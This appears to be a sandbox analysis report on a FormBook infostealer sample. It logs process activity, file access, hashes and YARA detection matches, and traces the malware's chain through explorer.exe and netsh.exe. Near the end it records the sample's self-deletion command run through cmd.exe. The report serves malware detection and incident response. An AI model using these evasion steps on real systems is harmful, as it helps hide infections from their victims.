Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.230287817.00000000036F9000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DE9CF06 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DE9CF06 unknown

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
vBugmobiJh.exe.log

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6E1AC78D CreateFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File CreatedFile Created

File WrittenFile Written
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C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\vBugmobiJh.exe.log

unknown 1314 31 2c 22 66 75 73 69 
6f 6e 22 2c 22 47 41 
43 22 2c 30 0d 0a 31 
2c 22 57 69 6e 52 54 
22 2c 22 4e 6f 74 41 
70 70 22 2c 31 0d 0a 
32 2c 22 4d 69 63 72 
6f 73 6f 66 74 2e 56 
69 73 75 61 6c 42 61 
73 69 63 2c 20 56 65 
72 73 69 6f 6e 3d 31 
30 2e 30 2e 30 2e 30 
2c 20 43 75 6c 74 75 
72 65 3d 6e 65 75 74 
72 61 6c 2c 20 50 75 
62 6c 69 63 4b 65 79 
54 6f 6b 65 6e 3d 62 
30 33 66 35 66 37 66 
31 31 64 35 30 61 33 
61 22 2c 30 0d 0a 32 
2c 22 53 79 73 74 65 
6d 2e 57 69 6e 64 6f 
77 73 2e 46 6f 72 6d 
73 2c 20 56 65 72 73 
69 6f 6e 3d 34 2e 30 
2e 30 2e 30 2c 20 43 
75 6c 74 75 72 65 3d 
6e 65 75 74 72 61 6c 
2c 20 50 75 62 6c 69 
63 4b 65 79 54 6f 6b 
65 6e 3d 62 37 37 61 
35 63 35 36 31 39 33 
34 65 30 38 39 22 2c 
30 0d 0a 33 2c 22 53 
79 73 74 65 6d 2c 20 
56 65 72 73 69 6f 6e 
3d 34 2e 

1,"fusion","GAC",0..1,"Win
RT",
"NotApp",1..2,"Microsoft.Vi
sualBasic, 
Version=10.0.0.0, Cult
ure=neutral, 
PublicKeyToken=b0
3f5f7f11d50a3a",0..2,"Syst
em.Windows.Forms, 
Version=4.0.0.0, 
Culture=neutral, 
PublicKeyTok
en=b77a5c561934e089",0.
.3,"System, Version=4.

success or wait 1 6E1AC907 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE75705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6DE75705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6DDD03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE7CA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6DDD03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 6DDD03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

unknown 900 success or wait 1 6DDD03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6DDD03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE75705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DE75705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6CCE1B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6CCE1B4F ReadFile

Start time: 08:59:33

Start date: 23/02/2021

Path: C:\Users\user\Desktop\vBugmobiJh.exe

Wow64 process (32bit): false

Commandline: C:\Users\user\Desktop\vBugmobiJh.exe

Imagebase: 0x150000

File size: 484864 bytes

MD5 hash: 5B59E521935E56A03255623DF51C1631

Has elevated privileges: true

File ReadFile Read

Analysis Process: vBugmobiJh.exe PID: 68 Parent PID: 5108Analysis Process: vBugmobiJh.exe PID: 68 Parent PID: 5108

General
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Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

File ActivitiesFile Activities

Start time: 08:59:33

Start date: 23/02/2021

Path: C:\Users\user\Desktop\vBugmobiJh.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\vBugmobiJh.exe

Imagebase: 0x430000

File size: 484864 bytes

MD5 hash: 5B59E521935E56A03255623DF51C1631

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.267925714.0000000000980000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.267925714.0000000000980000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.267925714.0000000000980000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.267841764.00000000005D0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.267841764.00000000005D0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.267841764.00000000005D0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.267667639.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.267667639.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.267667639.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 4182A7 NtReadFile

Start time: 08:59:35

Start date: 23/02/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff714890000

File size: 3933184 bytes

Analysis Process: vBugmobiJh.exe PID: 6088 Parent PID: 5108Analysis Process: vBugmobiJh.exe PID: 6088 Parent PID: 5108

General

File ReadFile Read

Analysis Process: explorer.exe PID: 3388 Parent PID: 6088Analysis Process: explorer.exe PID: 3388 Parent PID: 6088

General
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File ActivitiesFile Activities

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 08:59:49

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\netsh.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\netsh.exe

Imagebase: 0xf90000

File size: 82944 bytes

MD5 hash: A0AA3322BB46BBFC36AB9DC1DBBBB807

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.473763898.0000000002FD0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.473763898.0000000002FD0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.473763898.0000000002FD0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.472446069.0000000000F40000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.472446069.0000000000F40000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.472446069.0000000000F40000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.475304202.0000000003350000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.475304202.0000000003350000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.475304202.0000000003350000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1622408 success or wait 1 F582A7 NtReadFile

Analysis Process: netsh.exe PID: 3664 Parent PID: 3388Analysis Process: netsh.exe PID: 3664 Parent PID: 3388

General

File ReadFile Read

Analysis Process: cmd.exe PID: 5428 Parent PID: 3664Analysis Process: cmd.exe PID: 5428 Parent PID: 3664
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Disassembly

Code Analysis

File ActivitiesFile Activities

Start time: 08:59:53

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\vBugmobiJh.exe'

Imagebase: 0x12f0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 08:59:54

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

General

Analysis Process: conhost.exe PID: 5808 Parent PID: 5428Analysis Process: conhost.exe PID: 5808 Parent PID: 5428

General
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